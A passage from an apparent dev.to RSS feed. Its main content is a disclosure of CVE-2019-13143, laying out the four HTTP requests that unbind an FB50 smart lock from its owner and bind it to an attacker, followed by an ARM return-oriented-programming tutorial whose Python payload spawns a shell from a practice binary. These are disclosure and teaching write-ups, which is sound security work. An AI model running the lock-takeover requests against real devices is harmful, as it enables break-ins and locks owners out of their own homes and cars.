&lt;p&gt;Email today is basically run by Google. Gmail has over 1.2 _billion_active users. That’s obscene. Email was designed to be decentralized but big corps swooped in and made it a product. They now control your data, and it isn’t unknown that Google reads your mail. This again loops back to my previous point, privacy. Decentralization guarantees privacy. When you control your mail, you subsequently control who reads it.&lt;/p&gt;

&lt;h4&gt;
  
  
  Personalization
&lt;/h4&gt;

&lt;p&gt;Can’t ignore this one. It’s cool to have a custom email address to flex.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;x@icyphox.sh&lt;/code&gt; vs &lt;code&gt;gabe.newell4321@gmail.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Pfft, this is no competition.&lt;/p&gt;




&lt;ol&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;My &lt;a href="https://twitter.com/icyphox/status/1161648321548566528"&gt;tweet&lt;/a&gt; of frustration. ↩&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys"&gt;Link&lt;/a&gt; to step in the docs. ↩&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;From his &lt;a href="https://drewdevault.com/2018/08/08/Signal.html"&gt;article&lt;/a&gt; on why he doesn’t trust Signal. ↩&lt;/p&gt;

</description>
      <category>linux</category>
      <category>devops</category>
    </item>
    <item>
      <title>Picking the FB50 smart lock (CVE-2019-13143)</title>
      <dc:creator>Anirudh</dc:creator>
      <pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate>
      <link>https://dev.to/icyphox/picking-the-fb50-smart-lock-cve-2019-13143-boi</link>
      <guid>https://dev.to/icyphox/picking-the-fb50-smart-lock-cve-2019-13143-boi</guid>
      <description>&lt;p&gt;(&lt;em&gt;originally posted at &lt;a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure"&gt;SecureLayer7’s Blog&lt;/a&gt;, with my edits&lt;/em&gt;)&lt;/p&gt;

&lt;h3&gt;
  
  
  The lock
&lt;/h3&gt;

&lt;p&gt;The lock in question is the FB50 smart lock, manufactured by Shenzhen Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands across many ecommerce sites, and has over, an estimated, 15k+ users.&lt;/p&gt;

&lt;p&gt;The lock pairs to a phone via Bluetooth, and requires the OKLOK app from the Play/App Store to function. The app requires the user to create an account before further functionality is available. It also facilitates configuring the fingerprint, and unlocking from a range via Bluetooth.&lt;/p&gt;

&lt;p&gt;We had two primary attack surfaces we decided to tackle — Bluetooth (BLE) and the Android app.&lt;/p&gt;

&lt;h3&gt;
  
  
  Via Bluetooth Low Energy (BLE)
&lt;/h3&gt;

&lt;p&gt;Android phones have the ability to capture Bluetooth (HCI) traffic which can be enabled under Developer Options under Settings. We made around 4 “unlocks” from the Android phone, as seen in the screenshot.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--omrnbuWL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/bt_wireshark.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--omrnbuWL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/bt_wireshark.png" alt="wireshark packets"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the value sent in the &lt;code&gt;Write&lt;/code&gt; request:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_uinGBIG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/bt_ws_value.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_uinGBIG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/bt_ws_value.png" alt="wireshark write req"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We attempted replaying these requests using &lt;code&gt;gattool&lt;/code&gt; and &lt;code&gt;gattacker&lt;/code&gt;, but that didn’t pan out, since the value being written was encrypted.&lt;sup id="fnref-1"&gt;1&lt;/sup&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Via the Android app
&lt;/h3&gt;

&lt;p&gt;Reversing the app using &lt;code&gt;jd-gui&lt;/code&gt;, &lt;code&gt;apktool&lt;/code&gt; and &lt;code&gt;dex2jar&lt;/code&gt; didn’t get us too far since most of it was obfuscated. Why bother when there exists an easier approach – BurpSuite.&lt;/p&gt;

&lt;p&gt;We captured and played around with a bunch of requests and responses, and finally arrived at a working exploit chain.&lt;/p&gt;

&lt;h3&gt;
  
  
  The exploit
&lt;/h3&gt;

&lt;p&gt;The entire exploit is a 4 step process consisting of authenticated HTTP requests:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Using the lock’s MAC (obtained via a simple Bluetooth scan in the vicinity), get the barcode and lock ID&lt;/li&gt;
&lt;li&gt;Using the barcode, fetch the user ID&lt;/li&gt;
&lt;li&gt;Using the lock ID and user ID, unbind the user from the lock&lt;/li&gt;
&lt;li&gt;Provide a new name, attacker’s user ID and the MAC to bind the attacker to the lock&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is what it looks like, in essence (personal info redacted).&lt;/p&gt;

&lt;h4&gt;
  
  
  Request 1
&lt;/h4&gt;



&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /oklock/lock/queryDevice
{"mac":"XX:XX:XX:XX:XX:XX"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
   "result":{
      "alarm":0,
      "barcode":"&amp;lt;BARCODE&amp;gt;",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
      "id":&amp;lt;LOCK ID&amp;gt;,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0
   },
   "status":"2000"
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h4&gt;
  
  
  Request 2
&lt;/h4&gt;



&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /oklock/lock/getDeviceInfo

{"barcode":"https://app.oklok.com.cn/app.html?id=&amp;lt;BARCODE&amp;gt;"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"result":{
      "account":"email@some.website",
      "alarm":0,
      "barcode":"&amp;lt;BARCODE&amp;gt;",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
      "id":&amp;lt;LOCK ID&amp;gt;,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0,
      "userId":&amp;lt;USER ID&amp;gt;
   }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h4&gt;
  
  
  Request 3
&lt;/h4&gt;



&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /oklock/lock/unbind

{"lockId":"&amp;lt;LOCK ID&amp;gt;","userId":&amp;lt;USER ID&amp;gt;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h4&gt;
  
  
  Request 4
&lt;/h4&gt;



&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /oklock/lock/bind

{"name":"newname","userId":&amp;lt;USER ID&amp;gt;,"mac":"XX:XX:XX:XX:XX:XX"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h3&gt;
  
  
  That’s it! (&amp;amp; the scary stuff)
&lt;/h3&gt;

&lt;p&gt;You should have the lock transferred to your account. The severity of this issue lies in the fact that the original owner completely loses access to their lock. They can’t even “rebind” to get it back, since the current owner (the attacker) needs to authorize that.&lt;/p&gt;

&lt;p&gt;To add to that, roughly 15,000 user accounts’ info are exposed via IDOR. Ilja, a cool dude I met on Telegram, noticed locks named “carlock”, “garage”, “MainDoor”, etc.&lt;sup id="fnref-2"&gt;2&lt;/sup&gt; This is terrifying.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;shudders&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Proof of Concept
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://twitter.com/icyphox/status/1158396372778807296"&gt;PoC Video&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/icyphox/pwnfb50"&gt;Exploit code&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Disclosure timeline
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;26th June, 2019&lt;/strong&gt; : Issue discovered at SecureLayer7, Pune&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;27th June, 2019&lt;/strong&gt; : Vendor notified about the issue&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2nd July, 2019&lt;/strong&gt; : CVE-2019-13143 reserved&lt;/li&gt;
&lt;li&gt;No response from vendor&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2nd August 2019&lt;/strong&gt; : Public disclosure&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Lessons learnt
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;DO NOT&lt;/strong&gt;. Ever. Buy. A smart lock. You’re better off with the “dumb” ones with keys. With the IoT plague spreading, it brings in a large attack surface to things that were otherwise “unhackable” (try hacking a “dumb” toaster).&lt;/p&gt;

&lt;p&gt;The IoT security scene is rife with bugs from over 10 years ago, like executable stack segments&lt;sup id="fnref-3"&gt;3&lt;/sup&gt;, hardcoded keys, and poor development practices in general.&lt;/p&gt;

&lt;p&gt;Our existing threat models and scenarios have to be updated to factor in these new exploitation possibilities. This also broadens the playing field for cyber warfare and mass surveillance campaigns.&lt;/p&gt;

&lt;h3&gt;
  
  
  Researcher info
&lt;/h3&gt;

&lt;p&gt;This research was done at &lt;a href="https://securelayer7.net"&gt;SecureLayer7&lt;/a&gt;, Pune, IN by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Anirudh Oppiliappan (me)&lt;/li&gt;
&lt;li&gt;S. Raghav Pillai (&lt;a href="https://twitter.com/_vologue"&gt;@_vologue&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Shubham Chougule (&lt;a href="https://twitter.com/shubhamtc"&gt;@shubhamtc&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;




&lt;ol&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/"&gt;This&lt;/a&gt; article discusses a similar smart lock, but they broke the encryption. ↩&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Thanks to Ilja Shaposhnikov (@drakylar). ↩&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf"&gt;PDF&lt;/a&gt; ↩&lt;/p&gt;

</description>
      <category>security</category>
      <category>privacy</category>
      <category>hardware</category>
    </item>
    <item>
      <title>Return Oriented Programming on ARM (32-bit)</title>
      <dc:creator>Anirudh</dc:creator>
      <pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate>
      <link>https://dev.to/icyphox/return-oriented-programming-on-arm-32-bit-436m</link>
      <guid>https://dev.to/icyphox/return-oriented-programming-on-arm-32-bit-436m</guid>
      <description>&lt;p&gt;Before we start &lt;em&gt;anything&lt;/em&gt;, you’re expected to know the basics of ARM assembly to follow along. I highly recommend&lt;a href="https://twitter.com/fox0x01"&gt;Azeria’s&lt;/a&gt; series on &lt;a href="https://azeria-labs.com/writing-arm-assembly-part-1/"&gt;ARM Assembly Basics&lt;/a&gt;. Once you’re comfortable with it, proceed with the next bit — environment setup.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup
&lt;/h3&gt;

&lt;p&gt;Since we’re working with the ARM architecture, there are two options to go forth with:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Emulate — head over to &lt;a href="https://www.qemu.org/download/"&gt;qemu.org/download&lt;/a&gt; and install QEMU. And then download and extract the ARMv6 Debian Stretch image from one of the links &lt;a href="https://blahcat.github.io/qemu/"&gt;here&lt;/a&gt;. The scripts found inside should be self-explanatory.&lt;/li&gt;
&lt;li&gt;Use actual ARM hardware, like an RPi.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For debugging and disassembling, we’ll be using plain old &lt;code&gt;gdb&lt;/code&gt;, but you may use &lt;code&gt;radare2&lt;/code&gt;, IDA or anything else, really. All of which can be trivially installed.&lt;/p&gt;

&lt;p&gt;And for the sake of simplicity, disable ASLR:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Finally, the binary we’ll be using in this exercise is &lt;a href="https://twitter.com/bellis1000"&gt;Billy Ellis’&lt;/a&gt;&lt;a href="///static/files/roplevel2.c"&gt;roplevel2&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Compile it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ gcc roplevel2.c -o rop2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;With that out of the way, here’s a quick run down of what ROP actually is.&lt;/p&gt;

&lt;h3&gt;
  
  
  A primer on ROP
&lt;/h3&gt;

&lt;p&gt;ROP or Return Oriented Programming is a modern exploitation technique that’s used to bypass protections like the &lt;strong&gt;NX bit&lt;/strong&gt; (no-execute bit) and &lt;strong&gt;code sigining&lt;/strong&gt;. In essence, no code in the binary is actually modified and the entire exploit is crafted out of pre-existing artifacts within the binary, known as &lt;strong&gt;gadgets&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A gadget is essentially a small sequence of code (instructions), ending with a &lt;code&gt;ret&lt;/code&gt;, or a return instruction. In our case, since we’re dealing with ARM code, there is no &lt;code&gt;ret&lt;/code&gt; instruction but rather a &lt;code&gt;pop {pc}&lt;/code&gt; or a &lt;code&gt;bx lr&lt;/code&gt;. These gadgets are &lt;em&gt;chained&lt;/em&gt; together by jumping (returning) from one onto the other to form what’s called as a &lt;strong&gt;ropchain&lt;/strong&gt;. At the end of a ropchain, there’s generally a call to &lt;code&gt;system()&lt;/code&gt;, to acheive code execution.&lt;/p&gt;

&lt;p&gt;In practice, the process of executing a ropchain is something like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;confirm the existence of a stack-based buffer overflow&lt;/li&gt;
&lt;li&gt;identify the offset at which the instruction pointer gets overwritten&lt;/li&gt;
&lt;li&gt;locate the addresses of the gadgets you wish to use&lt;/li&gt;
&lt;li&gt;craft your input keeping in mind the stack’s layout, and chain the addresses of your gadgets&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://twitter.com/LiveOverflow"&gt;LiveOverflow&lt;/a&gt; has a &lt;a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;amp;index=46&amp;amp;t=0s"&gt;beautiful video&lt;/a&gt; where he explains ROP using “weird machines”. Check it out, it might be just what you needed for that “aha!” moment :)&lt;/p&gt;

&lt;p&gt;Still don’t get it? Don’t fret, we’ll look at &lt;em&gt;actual&lt;/em&gt; exploit code in a bit and hopefully that should put things into perspective.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploring our binary
&lt;/h3&gt;

&lt;p&gt;Start by running it, and entering any arbitrary string. On entering a fairly large string, say, “A” × 20, we see a segmentation fault occur.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--tbU_GjNE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/string_segfault.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--tbU_GjNE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/string_segfault.png" alt="string and segfault"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, open it up in &lt;code&gt;gdb&lt;/code&gt; and look at the functions inside it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--DMdn1vw---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/gdb_functions.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--DMdn1vw---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/gdb_functions.png" alt="gdb functions"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are three functions that are of importance here, &lt;code&gt;main&lt;/code&gt;, &lt;code&gt;winner&lt;/code&gt; and &lt;code&gt;gadget&lt;/code&gt;. Disassembling the &lt;code&gt;main&lt;/code&gt; function:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--zjO1GJip--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/gdb_main_disas.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zjO1GJip--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/gdb_main_disas.png" alt="gdb main disassembly"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We see a buffer of 16 bytes being created (&lt;code&gt;sub sp, sp, #16&lt;/code&gt;), and some calls to &lt;code&gt;puts()&lt;/code&gt;/&lt;code&gt;printf()&lt;/code&gt; and &lt;code&gt;scanf()&lt;/code&gt;. Looks like &lt;code&gt;winner&lt;/code&gt; and &lt;code&gt;gadget&lt;/code&gt; are never actually called.&lt;/p&gt;

&lt;p&gt;Disassembling the &lt;code&gt;gadget&lt;/code&gt; function:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--nxequwMO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/gdb_gadget_disas.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--nxequwMO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is fairly simple, the stack is being initialized by &lt;code&gt;push&lt;/code&gt;ing &lt;code&gt;{r11}&lt;/code&gt;, which is also the frame pointer (&lt;code&gt;fp&lt;/code&gt;). What’s interesting is the &lt;code&gt;pop {r0, pc}&lt;/code&gt;instruction in the middle. This is a &lt;strong&gt;gadget&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;We can use this to control what goes into &lt;code&gt;r0&lt;/code&gt; and &lt;code&gt;pc&lt;/code&gt;. Unlike in x86 where arguments to functions are passed on the stack, in ARM the registers &lt;code&gt;r0&lt;/code&gt; to &lt;code&gt;r3&lt;/code&gt;are used for this. So this gadget effectively allows us to pass arguments to functions using &lt;code&gt;r0&lt;/code&gt;, and subsequently jumping to them by passing its address in &lt;code&gt;pc&lt;/code&gt;. Neat.&lt;/p&gt;

&lt;p&gt;Moving on to the disassembly of the &lt;code&gt;winner&lt;/code&gt; function:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--aLpJMXLo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/gdb_disas_winner.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--aLpJMXLo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/gdb_disas_winner.png" alt="gdb winner disassembly"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here, we see a calls to &lt;code&gt;puts()&lt;/code&gt;, &lt;code&gt;system()&lt;/code&gt; and finally, &lt;code&gt;exit()&lt;/code&gt;. So our end goal here is to, quite obviously, execute code via the &lt;code&gt;system()&lt;/code&gt;function.&lt;/p&gt;

&lt;p&gt;Now that we have an overview of what’s in the binary, let’s formulate a method of exploitation by messing around with inputs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Messing around with inputs :&lt;sup&gt;)&lt;/sup&gt;
&lt;/h3&gt;

&lt;p&gt;Back to &lt;code&gt;gdb&lt;/code&gt;, hit &lt;code&gt;r&lt;/code&gt; to run and pass in a patterned input, like in the screenshot.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rKa1t_ZI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/gdb_info_reg_segfault.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rKa1t_ZI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We hit a segfault because of invalid memory at address &lt;code&gt;0x46464646&lt;/code&gt;. Notice the &lt;code&gt;pc&lt;/code&gt; has been overwritten with our input. So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.&lt;/p&gt;

&lt;p&gt;Since we know the offset at which the &lt;code&gt;pc&lt;/code&gt; gets overwritten, we can now control program execution flow. Let’s try jumping to the &lt;code&gt;winner&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;Disassemble &lt;code&gt;winner&lt;/code&gt; again using &lt;code&gt;disas winner&lt;/code&gt; and note down the offset of the second instruction — &lt;code&gt;add r11, sp, #4&lt;/code&gt;. For this, we’ll use Python to print our input string replacing &lt;code&gt;FFFF&lt;/code&gt; with the address of &lt;code&gt;winner&lt;/code&gt;. Note the endianness.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--gbZaXagD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/python_winner_jump.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--gbZaXagD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/python_winner_jump.png" alt="jump to winner"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The reason we don’t jump to the first instruction is because we want to control the stack ourselves. If we allow &lt;code&gt;push {rll, lr}&lt;/code&gt; (first instruction) to occur, the program will &lt;code&gt;pop&lt;/code&gt;those out after &lt;code&gt;winner&lt;/code&gt; is done executing and we will no longer control where it jumps to.&lt;/p&gt;

&lt;p&gt;So that didn’t do much, just prints out a string “Nothing much here…”. But it &lt;em&gt;does&lt;/em&gt; however, contain &lt;code&gt;system()&lt;/code&gt;. Which somehow needs to be populated with an argument to do what we want (run a command, execute a shell, etc.).&lt;/p&gt;

&lt;p&gt;To do that, we’ll follow a multi-step process:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Jump to the address of &lt;code&gt;gadget&lt;/code&gt;, again the 2nd instruction. This will &lt;code&gt;pop&lt;/code&gt; &lt;code&gt;r0&lt;/code&gt; and &lt;code&gt;pc&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Push our command to be executed, say “&lt;code&gt;/bin/sh&lt;/code&gt;” onto the stack. This will go into&lt;code&gt;r0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Then, push the address of &lt;code&gt;system()&lt;/code&gt;. And this will go into &lt;code&gt;pc&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The pseudo-code is something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;string = AAAABBBBCCCCDDDDEEEE
gadget = # addr of gadget
binsh = # addr of /bin/sh
system = # addr of system()

print(string + gadget + binsh + system)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Clean and mean.&lt;/p&gt;

&lt;h3&gt;
  
  
  The exploit
&lt;/h3&gt;

&lt;p&gt;To write the exploit, we’ll use Python and the absolute godsend of a library — &lt;code&gt;struct&lt;/code&gt;. It allows us to pack the bytes of addresses to the endianness of our choice. It probably does a lot more, but who cares.&lt;/p&gt;

&lt;p&gt;Let’s start by fetching the address of &lt;code&gt;/bin/sh&lt;/code&gt;. In &lt;code&gt;gdb&lt;/code&gt;, set a breakpoint at &lt;code&gt;main&lt;/code&gt;, hit &lt;code&gt;r&lt;/code&gt; to run, and search the entire address space for the string “&lt;code&gt;/bin/sh&lt;/code&gt;”:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gdb) find &amp;amp;system, +9999999, "/bin/sh"
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--47WmBQic--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/gdb_find_binsh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--47WmBQic--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One hit at &lt;code&gt;0xb6f85588&lt;/code&gt;. The addresses of &lt;code&gt;gadget&lt;/code&gt; and &lt;code&gt;system()&lt;/code&gt; can be found from the disassmblies from earlier. Here’s the final exploit code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import struct

binsh = struct.pack("I", 0xb6f85588)
string = "AAAABBBBCCCCDDDDEEEE"
gadget = struct.pack("I", 0x00010550)
system = struct.pack("I", 0x00010538)

print(string + gadget + binsh + system)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Honestly, not too far off from our pseudo-code :)&lt;/p&gt;

&lt;p&gt;Let’s see it in action:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--lEIVvGFb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/the_shell.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--lEIVvGFb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/the_shell.png" alt="the shell!"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notice that it doesn’t work the first time, and this is because &lt;code&gt;/bin/sh&lt;/code&gt; terminates when the pipe closes, since there’s no input coming in from STDIN. To get around this, we use &lt;code&gt;cat(1)&lt;/code&gt; which allows us to relay input through it to the shell. Nifty trick.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;This was a fairly basic challenge, with everything laid out conveniently. Actual ropchaining is a little more involved, with a lot more gadgets to be chained to acheive code execution.&lt;/p&gt;

&lt;p&gt;Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.&lt;/p&gt;

</description>
      <category>security</category>
      <category>reverseengineering</category>
    </item>
    <item>
      <title>Break the Ice — Hardware CTF</title>
      <dc:creator>Anirudh</dc:creator>
      <pubDate>Fri, 15 Mar 2019 14:21:36 +0000</pubDate>
      <link>https://dev.to/icyphox/break-the-icehardware-ctf-1nhh</link>
      <guid>https://dev.to/icyphox/break-the-icehardware-ctf-1nhh</guid>
